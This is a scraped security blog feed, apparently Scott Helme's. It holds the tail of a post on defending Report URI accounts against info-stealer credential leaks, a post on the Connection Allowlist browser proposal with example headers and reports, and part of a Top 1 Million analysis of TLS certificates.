href="https://github.com/dropbox/zxcvbn?utm_source=scotthelme.co.uk" rel="noreferrer">zxcvbn</a>, you should absolutely go and check it out. It&apos;s a reliable password strength estimator created by Dropbox, and we use it to test how strong a password is when a user is trying to use it. If the password doesn&apos;t meet our complexity requirements, it isn&apos;t allowed to be used.</p><p></p><h4 id="password-managers">Password Managers</h4><p>We have a variety of different measures in place to improve the effectiveness of Password Managers. On form elements we tell a password manager to create a <em>crazy</em> strong password, we provide information on where our password change endpoints are so it can be done automatically by your password manager, we hint which account is currently logged in so password managers know which entry to use, and a whole range of other quality of life attributes.</p><p></p><h4 id="two-factor-authentication">Two-Factor Authentication</h4><p>We support TOTP 2FA on Report URI, and organisations have the ability to require that their team members have 2FA enabled on their account to access company data. We strongly recommend that any user has 2FA enabled, and you should keep an eye out for 2FA related announcements in the next week or so...</p><p></p><h4 id="password-hashing">Password Hashing</h4><p>When storing user passwords, we hash them with the bcrypt hashing algorithm, configured with a work factor of 10 and a 128-bit salt. In our chosen language of PHP, that looks like this:</p><pre><code class="language-php">password_hash($password, PASSWORD_DEFAULT)</code></pre><p></p><h4 id="bot-mitigation">Bot Mitigation</h4><p>Using a variety of approaches, we work to detect automated behaviour against sensitive endpoints like login or password reset. By trying to detect and stop bots, we can prevent automated attacks that are using stolen credentials, or are trying to guess credentials by trying them against the site. </p><p></p><h4 id="pwned-passwords">Pwned Passwords</h4><p>We make use of the <a href="https://haveibeenpwned.com/Passwords?ref=scotthelme.ghost.io" rel="noreferrer">Pwned Password API</a> with their k-anonymity model to query for compromised passwords that have appeared in data breaches. This prevents users from using a password that is known to have been previously compromised.</p><p></p><h3 id="none-of-that-matters">None of that matters</h3><p>And this is the problem! Despite all of the work that we&apos;ve done above, if an info-stealer malware has infected a device and reads the user&apos;s password right off the keyboard, the attacker now has the email address and password, can head right to the login page and successfully login to the account. Despite that, this did identify an avenue for us to improve our processes and offer a little more protection to our users, over and above what we were already offering.</p><p>2FA still matters enormously here because it can stop a stolen password from being enough on its own. But the point remains: once the password itself is known to be compromised, we should not allow it to continue being used.</p><p></p><h3 id="our-existing-process">Our existing process</h3><p>As I mentioned above, we use the Pwned Passwords API to query for passwords that our users are using so we can see if they have been compromised. That sounds like it might be a really bad idea at face value, but the k-anonymity model that the API uses means that <strong>we never send your password</strong> to the API, so this doesn&apos;t introduce any security or privacy concerns. It does, however, allow us to know if that particular password has been observed in a data breach. Head on over to the Report URI <a href="https://report-uri.com/register/?ref=scotthelme.ghost.io" rel="noreferrer">registration page</a> and try to register with the password &quot;correcthorsebatterystaple&quot; (<a href="https://xkcd.com/936/?ref=scotthelme.ghost.io" rel="noreferrer">source</a> if you don&apos;t get the reference), which is a reasonably strong password and will pass our complexity requirements, but it has also been compromised...</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-12.png" class="kg-image" alt="Under Attack: Responding to the Rise of Info-Stealer Threats" loading="lazy" width="477" height="802"></figure><p></p><p>You&apos;re not allowed to use this password because the Pwned Passwords API tells us that it has been previously observed in a data breach. You can head to the <a href="https://haveibeenpwned.com/Passwords?ref=scotthelme.ghost.io" rel="noreferrer">Pwned Passwords website</a> and test this for yourself to see the results.</p><p>This is a great feature, and it will stop you using a password that has been breached, and we also apply the same protection on the password reset process too, so you can&apos;t change to a breached password. But what happens if the password is breached <em>after</em> you set it up on our service?</p><p></p><h3 id="identifying-the-gap">Identifying the gap</h3><p>The problem we have here is that because passwords are stored as a salted hash in our database, we don&apos;t have your password to do any kind of regular check to see if it has since been breached. This means that our only opportunity to do any check like this is when you next authenticate and we have that brief period where we have your clear-text password in memory to do the check. </p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-13.png" class="kg-image" alt="Under Attack: Responding to the Rise of Info-Stealer Threats" loading="lazy" width="757" height="173" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/image-13.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-13.png 757w" sizes="(min-width: 720px) 720px"></figure><p></p><p>This is something that we already do and we will notify users if they login with a password that has been breached since they started using it. This is a great feature, and something that we&apos;ve had for a long time, but it doesn&apos;t quite go far enough. If an attacker has your password and is able to login to your account, there&apos;s a good chance that they&apos;re probably going to ignore this warning and then continue with whatever it is they want to do! What we need to do is immediately suspend your account if we detect a login has occurred with a compromised password.</p><p></p><h3 id="the-new-account-lockout-process">The new account lockout process</h3><p>If you now complete a new authentication to your Report URI account, using a password that has become known to have been breached, your account will be immediately locked and will require a password reset to gain access. There is always a balance to strike with account lockouts because any automated lockout process can introduce Denial-of-Service considerations. In this case, we&apos;re only taking action when the submitted password is already known to be compromised, which means the account is already at material risk. We think requiring a password reset is the safer outcome.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-14.png" class="kg-image" alt="Under Attack: Responding to the Rise of Info-Stealer Threats" loading="lazy" width="488" height="529"></figure><p></p><p>This gives us stronger protection so that if your password later appears in a breach or info-steal dataset, once that password is flagged as having been breached, you know that nobody will be able to use it to gain access to your account.</p><p></p><h3 id="service-wide-improvements">Service-wide improvements</h3><p>Alongside the new automated process above, we have also added new controls to our staff admin portal that allow for the quick and easy locking of an account should it be required. In a recent example, which was what actually triggered this whole response, we had someone email us claiming to have breached our database and accessed user credentials. I knew this was nonsense right away because we don&apos;t store passwords in a recoverable format, but this could cause quite a panic if you were to receive a similar email. The email addresses matched Report URI accounts, and when we checked a small sample through our normal authentication flow, the passwords were valid too. I was able to quickly identify that these emails and passwords had been taken from the <a href="https://haveibeenpwned.com/breach/AlienStealerLogs?ref=scotthelme.ghost.io" rel="noreferrer">ALIEN TXTBASE Info Stealer</a> and were being re-purposed to make it look like we had been breached. The scale of these datasets is enormous. HIBP describes ALIEN TXTBASE as containing 23 billion rows of stealer-log data, including email addresses, the websites they were entered into, and the passwords used. It&apos;s worth knowing about threats like these for when/if you ever find yourself on the receiving end of such an email. We were able to use our new capability to instantly lock these accounts and protect them, requiring the user to reset their password before gaining access again.</p><p></p><h3 id="future-considerations">Future considerations</h3><p>Another persistent threat from info-stealer malware like this is if the malware steals the session cookie of an authenticated session. This presents a completely different set of challenges and is also something that we&apos;re aware of and working on for a future update. For now, I wanted to share this information of what recently happened to us, what we&apos;ve done about it to improve, and what you can do about it if it happens to you.</p><p></p><h3 id="what-should-users-do">What should users do?</h3><p>If you receive a password reset notification from us, complete the reset and make sure the new password is unique to Report URI. We also strongly recommend enabling 2FA, using a password manager, and checking any affected device for malware. If your password came from an info-stealer log, changing the password alone may not be enough if the device is still compromised.</p><p></p>]]></content:encoded>
            </item>
        </channel>
    </rss>
    Raw text
    <?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[Scott Helme]]></title><description><![CDATA[Hi, I'm Scott Helme, a Security Researcher, Entrepreneur and International Speaker. I'm the creator of Report URI and Security Headers, and I deliver world renowned training on Hacking and Encryption.]]></description><link>https://scotthelme.ghost.io/</link><image><url>https://scotthelme.ghost.io/favicon.png</url><title>Scott Helme</title><link>https://scotthelme.ghost.io/</link></image><generator>Ghost 6.55</generator><lastBuildDate>Tue, 28 Jul 2026 13:55:03 GMT</lastBuildDate><atom:link href="https://scotthelme.ghost.io/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[Connection Allowlist: a network firewall, built into the browser]]></title><description><![CDATA[<p>Connection Allowlist is a new browser security mechanism that lets a document declare, up front, the exact set of destinations it&apos;s permitted to open network connections to. Anything not on the list is blocked by the browser before the connection leaves the machine. It&apos;s currently a</p>]]></description><link>https://scotthelme.ghost.io/connection-allowlist-a-network-firewall-built-into-the-browser/</link><guid isPermaLink="false">6a4e2b165807de0001a05af5</guid><category><![CDATA[Connection Allowlist]]></category><category><![CDATA[1.1.1.1]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Wed, 08 Jul 2026 16:11:31 GMT</pubDate><media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/07/connection-allowlist-hero.png" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/07/connection-allowlist-hero.png" alt="Connection Allowlist: a network firewall, built into the browser"><p>Connection Allowlist is a new browser security mechanism that lets a document declare, up front, the exact set of destinations it&apos;s permitted to open network connections to. Anything not on the list is blocked by the browser before the connection leaves the machine. It&apos;s currently a <a href="https://wicg.github.io/connection-allowlists/?ref=scotthelme.ghost.io">WICG proposal</a> (<a href="https://github.com/WICG/connection-allowlists?ref=scotthelme.ghost.io">repo here</a>) running as a Chrome origin trial, and Report URI now collects the violation reports it emits.</p><p>This post covers how the mechanism works, how it differs from CSP, and the shape of the reports.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/07/report-uri-logo.png" class="kg-image" alt="Connection Allowlist: a network firewall, built into the browser" loading="lazy" width="800" height="70" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/07/report-uri-logo.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/07/report-uri-logo.png 800w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h3 id="what-it-does">What it does</h3><p>Before any outbound connection is established, the browser checks the destination against the allowlist. If it doesn&apos;t match, the connection is blocked at the network layer. This applies regardless of what initiated the connection &#x2014; the policy is a property of the document, not of the code running in it.</p><p>The connection types covered are deliberately broad: <code>fetch()</code>/XHR, subresource requests, WebSocket, WebTransport, DNS prefetch, preload, navigations, redirects and WebRTC are all evaluated against the same list.</p><p></p><pre><code>Connection-Allowlist: (response-origin &quot;https://cdn.example.com&quot; &quot;https://api.example.com/*&quot;)</code></pre><p></p><p>Two categories get a stricter default and their own parameters:</p><ul><li><strong>Redirects</strong> are blocked by default. The reasoning in the spec is that once a<br>request has left the client, the server it went to controls where it&apos;s<br>redirected next, so a matching initial URL is no guarantee. You opt back in<br>with <code>redirects=allow</code>.</li><li><strong>WebRTC</strong> is blocked by default (<code>webrtc=block</code>), because peer connections<br>use dynamic endpoint discovery that URL patterns can&apos;t meaningfully describe.<br><code>webrtc=allow</code> permits it.</li></ul><p>Local schemes (<code>data:</code>, <code>about:</code>) bypass the check. The mechanism only governs network communication &#x2014; it does nothing about content injection or XSS. It&apos;s a containment control: it limits where an already-running script can send data, not whether that script can run.</p><p></p><h3 id="how-this-differs-from-csp">How this differs from CSP</h3><p>Content Security Policy can already restrict many outbound connections, with features like <code>connect-src</code>, <code>form-action</code> and others, so it&apos;s worth clarifying how Connection Allowlist differs. </p><p>Simply put, Connection Allowlist incorporates <strong><em>all</em></strong> outbound connections without the need for an extensive set of directives that would be required in CSP, and some of which you can&apos;t currently exert control over. Any outbound connection from the page is in scope. Period.</p><p>The two mechanisms complement each other rather than compete. CSP remains the right control for deciding which scripts, styles, images, frames and other resources a page is allowed to load and execute, while Connection Allowlist adds a broader network boundary around where that page can communicate. Used together, CSP helps prevent untrusted code and content from entering the page in the first place, and Connection Allowlist limits the damage if malicious code does run by further restricting where it can send data. For sensitive applications, the strongest position is to deploy both: CSP for content and execution control, and Connection Allowlist for outbound network containment.</p><p></p><h3 id="reports">Reports</h3><p>As with any powerful feature, you&apos;re going to want to test this before you deploy, and for that, we have the typical format of Report-Only header.</p><p></p><pre><code>Connection-Allowlist-Report-Only: (response-origin &quot;https://api.example.com/*&quot;); report-to=default
    </code></pre><p></p><p>Violations are delivered through the Reporting API to the endpoint named by the <code>report-to</code> group. The report <code>type</code> is <code>connection-allowlist</code> and the body identifies the destination that was blocked:</p><p></p><pre><code class="language-json">{
      &quot;type&quot;: &quot;connection-allowlist&quot;,
      &quot;body&quot;: {
        &quot;url&quot;: &quot;https://report-uri.com/account&quot;,
        &quot;connection&quot;: &quot;https://blocked.example/collect.js&quot;,
        &quot;allowlist&quot;: [&quot;https://api.example.com/*&quot;],
        &quot;disposition&quot;: &quot;report&quot;
      }
    }</code></pre><p></p><p><code>connection</code> is the destination that tripped the policy, <code>allowlist</code> is the<br>declared policy, <code>disposition</code> is <code>enforce</code> or <code>report</code>, and <code>url</code> is the page that the browser was visiting when this happened.</p><p>Report-only is how you deploy this without the risk of breaking anything: serve it, collect what your pages actually connect to, refine the allowlist until it&apos;s clean, then switch to the enforcing header. During the origin trial, reporting is limited to document contexts &#x2014; dedicated, shared and service workers aren&apos;t covered yet.</p><p></p><h3 id="availability">Availability</h3><p>The feature is a Chrome origin trial (<a href="https://developer.chrome.com/blog/connection-allowlists-origin-trial?ref=scotthelme.ghost.io">announcement</a>) running from Chrome 148 to 151, after which Chrome will assess whether the feature is ready to progress towards shipping.</p><p>Report URI collects Connection Allowlist reports already, currently behind a beta flag. It works the same way as the existing browser report types: point the<br><code>report-to</code> group of your <code>Connection-Allowlist-Report-Only</code> header at your Report URI group and the reports land on a Connection Allowlist reports page, showing the page URL, the blocked connection, the enforce/report-only disposition, the raw report and counts.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/07/connection-allowlist-reports.png" class="kg-image" alt="Connection Allowlist: a network firewall, built into the browser" loading="lazy" width="1386" height="770" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/07/connection-allowlist-reports.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/07/connection-allowlist-reports.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/07/connection-allowlist-reports.png 1386w" sizes="(min-width: 720px) 720px"></figure><p></p><p>If you&apos;d like to join to the beta, please reach out to support@ and we&apos;ll add your account. </p><p></p>]]></content:encoded></item><item><title><![CDATA[Top 1 Million Analysis – June 2026: The State of Crypto]]></title><description><![CDATA[<p>This is part two of the ten-year anniversary Top 1 Million Analysis. <a href="https://scotthelme.co.uk/top-1-million-analysis-june-2026-ten-years-of-web-security/?ref=scotthelme.ghost.io" rel="noreferrer">Part one</a> covered the broad state of the web &#x2014; HTTPS, the security headers, cookies, email and DNS hygiene. This part is the bit I&apos;ve been most excited to write: a focused look at the</p>]]></description><link>https://scotthelme.ghost.io/top-1-million-analysis-june-2026-the-state-of-crypto/</link><guid isPermaLink="false">6a2e9db5d237ab0001bd2a7e</guid><category><![CDATA[Crawler Report]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Wed, 01 Jul 2026 11:57:14 GMT</pubDate><media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/10-year-part-2.png" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/10-year-part-2.png" alt="Top 1 Million Analysis &#x2013; June 2026: The State of Crypto"><p>This is part two of the ten-year anniversary Top 1 Million Analysis. <a href="https://scotthelme.co.uk/top-1-million-analysis-june-2026-ten-years-of-web-security/?ref=scotthelme.ghost.io" rel="noreferrer">Part one</a> covered the broad state of the web &#x2014; HTTPS, the security headers, cookies, email and DNS hygiene. This part is the bit I&apos;ve been most excited to write: a focused look at the cryptography underpinning the top 1 million sites &#x2014; TLS, certificates, the keys behind them, and the genuinely historic arrival of post-quantum key exchange at scale.</p><p>As before, the numbers below come from the 13 June 2026 crawl of the <a href="https://tranco-list.eu/?ref=scotthelme.ghost.io">Tranco</a> Top 1 Million (819,002 responding sites), powered by <a href="https://crawler.ninja/?ref=scotthelme.ghost.io">Crawler.Ninja</a> and <a href="https://report-uri.com/?ref=scotthelme.ghost.io">Report URI</a>. For this anniversary edition I rebuilt a big chunk of the crawler&apos;s TLS measurement &#x2014; including a move to OpenSSL 3.5 so it can negotiate post-quantum groups &#x2014; so several of the metrics here are brand new.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo-3-1.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: The State of Crypto" loading="lazy" width="800" height="70" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/report-uri-logo-3-1.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo-3-1.png 800w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h3 id="introduction">Introduction</h3><p>In <a href="https://scotthelme.co.uk/top-1-million-analysis-june-2026-ten-years-of-web-security/?ref=scotthelme.ghost.io" rel="noreferrer">part one</a>, we looked at the broader state of web security across the Tranco Top 1 Million and found a familiar story: lots of progress, but still plenty of rough edges. In this second part, we&#x2019;re going deeper into the cryptographic foundations of the modern web: TLS versions, cipher suites, key exchange, certificate lifetimes, certificate authorities, CAA, OCSP, ECH, and even the early signs of post-quantum TLS. The good news is that, in many areas, the web has moved on dramatically from where it was ten years ago. The even more interesting news is that some of the biggest changes are now happening quietly, at enormous scale, because of defaults set by the platforms and providers that sit underneath much of the web.</p><p></p><h3 id="certificates">Certificates</h3><p>The certificate landscape has genuinely shifted since 2022. Let&apos;s Encrypt remains enormous, with 302,116 sites using one of their certificates, up 30%. Google Trust Services&#x2019; <code>WE1</code> intermediate alone now accounts for 193,069 sites, making it the largest individual issuing intermediate in the dataset &#x2014; even though Let&#x2019;s Encrypt remains the largest issuer overall. The free, automated, short-lived CA model has well and truly won.</p><p></p>
    <!--kg-card-begin: html-->
    <table>
    <thead>
    <tr>
    <th>Certificate Authority</th>
    <th>Count</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td>Google Trust Services &#x2014; WE1</td>
    <td>193,069</td>
    </tr>
    <tr>
    <td>Let&apos;s Encrypt &#x2014; R12</td>
    <td>59,705</td>
    </tr>
    <tr>
    <td>Let&apos;s Encrypt &#x2014; R13</td>
    <td>59,496</td>
    </tr>
    <tr>
    <td>Let&apos;s Encrypt &#x2014; E8</td>
    <td>48,754</td>
    </tr>
    <tr>
    <td>Let&apos;s Encrypt &#x2014; E7</td>
    <td>48,564</td>
    </tr>
    <tr>
    <td>Let&apos;s Encrypt &#x2014; YE2</td>
    <td>23,702</td>
    </tr>
    <tr>
    <td>Let&apos;s Encrypt &#x2014; YE1</td>
    <td>23,467</td>
    </tr>
    <tr>
    <td>Sectigo &#x2014; Public Server Authentication CA DV R36</td>
    <td>19,879</td>
    </tr>
    <tr>
    <td>Let&apos;s Encrypt &#x2014; YR1</td>
    <td>19,159</td>
    </tr>
    <tr>
    <td>Let&apos;s Encrypt &#x2014; YR2</td>
    <td>18,986</td>
    </tr>
    </tbody>
    </table>
    <!--kg-card-end: html-->
    <p></p><p>If we look at the absolute numbers, though, Let&apos;s Encrypt are still dominating in total issuance.</p><p></p><table>
    <thead>
    <tr>
    <th>Issuer</th>
    <th>Certs</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td>Let&apos;s Encrypt</td>
    <td>302,116</td>
    </tr>
    <tr>
    <td>Google Trust Services</td>
    <td>203,436</td>
    </tr>
    <tr>
    <td>Amazon</td>
    <td>37,690</td>
    </tr>
    <tr>
    <td>DigiCert</td>
    <td>34,961</td>
    </tr>
    <tr>
    <td>Sectigo</td>
    <td>29,006</td>
    </tr>
    <tr>
    <td>GlobalSign</td>
    <td>17,891</td>
    </tr>
    <tr>
    <td>GoDaddy</td>
    <td>7,999</td>
    </tr>
    </tbody>
    </table>
    <p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/lets-encrypt.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: The State of Crypto" loading="lazy" width="2000" height="979" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/lets-encrypt.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/lets-encrypt.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/lets-encrypt.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/lets-encrypt.png 2400w" sizes="(min-width: 720px) 720px"></figure><p></p><p>You can see the consequence of the new certificate model in the death of the alternative: <a href="https://scotthelme.co.uk/gone-for-ever/?ref=scotthelme.ghost.io" rel="noreferrer">Extended Validation</a> certificates are now on just 4,186 sites, down another 51% since 2022 and a fraction of the 15,604 we saw in 2020. EV has been a dead format walking for years and the numbers now read like an obituary.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/image-8.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: The State of Crypto" loading="lazy" width="1000" height="554" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/image-8.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/image-8.png 1000w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Two newer certificate metrics this year. 657,853 sites (around 80% of responders) serve certificates with embedded <a href="https://scotthelme.co.uk/certificate-transparency-an-introduction/?ref=scotthelme.ghost.io" rel="noreferrer">Certificate Transparency SCTs</a> &#x2014; CT is now essentially universal, which is exactly what you want. And 319,192 sites use a wildcard certificate, a reminder that wildcard sprawl is extremely common and worth keeping an eye on from a blast-radius perspective.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/sct.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: The State of Crypto" loading="lazy" width="2000" height="1108" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/sct.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/sct.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/sct.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/sct.png 2400w" sizes="(min-width: 720px) 720px"></figure><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/wildcard.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: The State of Crypto" loading="lazy" width="2000" height="1108" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/wildcard.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/wildcard.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/wildcard.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/wildcard.png 2400w" sizes="(min-width: 720px) 720px"></figure><p></p><h3 id="how-long-do-certificates-live">How long do certificates live?</h3><p>For the first time this report measures certificate <em>lifetimes</em> directly, across the 658,294 certificates we saw, and the distribution is remarkably tight &#x2014; almost everything clusters at a handful of standard values:</p><p></p>
    <!--kg-card-begin: html-->
    <table>
    <thead>
    <tr>
    <th>Validity period</th>
    <th>Certificates</th>
    <th>Share</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td>&#x2264; 47 days</td>
    <td>1,692</td>
    <td>0.3%</td>
    </tr>
    <tr>
    <td>48&#x2013;90 days</td>
    <td>509,744</td>
    <td>77.4%</td>
    </tr>
    <tr>
    <td>91&#x2013;200 days</td>
    <td>49,743</td>
    <td>7.6%</td>
    </tr>
    <tr>
    <td>201&#x2013;398 days</td>
    <td>96,953</td>
    <td>14.7%</td>
    </tr>
    <tr>
    <td>399+ days</td>
    <td>162</td>
    <td>0.0%</td>
    </tr>
    </tbody>
    </table>
    <!--kg-card-end: html-->
    <p></p><p>90-day certificates utterly dominate, at 508,049 &#x2014; 77% of every certificate we saw. That&apos;s the Let&apos;s Encrypt and Google Trust Services automated model expressed as a single number. The old one-year certificate (clustered around 395&#x2013;398 days) is now a ~15% minority, and anything longer than the old 398-day maximum has all but vanished &#x2014; just 162 of them, almost certainly private or misconfigured.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/cert-validity.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: The State of Crypto" loading="lazy" width="2000" height="1018" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/cert-validity.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/cert-validity.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/cert-validity.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/cert-validity.png 2400w" sizes="(min-width: 720px) 720px"></figure><p></p><p>The most telling detail: the 200-day cap that took effect on 15 March 2026 &#x2014; barely three months before this crawl &#x2014; is already visible in the data. A 199-day lifetime is now the <em>third</em> most common exact value (21,966 certs), and the 91&#x2013;200 day band holds nearly 50,000 &#x2014; issuers and sites already provisioning right up against the new limit. With the cap falling to <a href="https://scotthelme.co.uk/shorter-certificates-are-coming/?ref=scotthelme.ghost.io" rel="noreferrer">100 days in 2027 and 47 days in 2029</a>, expect that enormous 90-day column to hold firm while the one-year remnant drains away.</p><p>I&apos;ve followed this saga for years &#x2014; from <a href="https://scotthelme.co.uk/why-we-need-to-do-more-to-reduce-certificate-lifetimes/?ref=scotthelme.ghost.io">why we need shorter lifetimes</a>, through <a href="https://scotthelme.co.uk/ballot-sc22-reduce-certificate-lifetimes/?ref=scotthelme.ghost.io">Ballot SC22</a>, to Let&apos;s Encrypt now issuing <a href="https://scotthelme.co.uk/blink-and-youll-miss-them-6-day-certificates-are-here/?ref=scotthelme.ghost.io">6-day certificates</a> &#x2014; and the data finally shows it plainly: the ecosystem is responding. The sites that automated renewal years ago won&apos;t even notice the 47-day future. If you haven&apos;t yet, <a href="https://scotthelme.co.uk/cryptographic-agility-part-1-server-certificates/?ref=scotthelme.ghost.io">Cryptographic Agility</a> is the mindset to adopt now.</p><p></p><h3 id="a-tale-of-two-ca-models">A tale of two CA models</h3><p>Breaking the certificates down <em>by issuer</em> makes the divide explicit. For each of the largest CAs, here&apos;s the typical certificate lifetime, the share on ECDSA keys, and the share that are wildcards:</p><p></p>
    <!--kg-card-begin: html-->
    <table>
    <thead>
    <tr>
    <th>Issuer</th>
    <th>Certs</th>
    <th>Typical lifetime</th>
    <th>ECDSA</th>
    <th>Wildcard</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td>Let&apos;s Encrypt</td>
    <td>302,116</td>
    <td>90 days</td>
    <td>47%</td>
    <td>30%</td>
    </tr>
    <tr>
    <td>Google Trust Services</td>
    <td>203,436</td>
    <td>90 days</td>
    <td>92%</td>
    <td>71%</td>
    </tr>
    <tr>
    <td>Amazon</td>
    <td>37,690</td>
    <td>~395 days</td>
    <td>6%</td>
    <td>68%</td>
    </tr>
    <tr>
    <td>DigiCert</td>
    <td>34,961</td>
    <td>199 days</td>
    <td>9%</td>
    <td>42%</td>
    </tr>
    <tr>
    <td>Sectigo</td>
    <td>29,006</td>
    <td>366 days</td>
    <td>5%</td>
    <td>50%</td>
    </tr>
    <tr>
    <td>GlobalSign</td>
    <td>17,891</td>
    <td>397 days</td>
    <td>3%</td>
    <td>68%</td>
    </tr>
    <tr>
    <td>GoDaddy</td>
    <td>7,999</td>
    <td>397 days</td>
    <td>3%</td>
    <td>53%</td>
    </tr>
    </tbody>
    </table>
    <!--kg-card-end: html-->
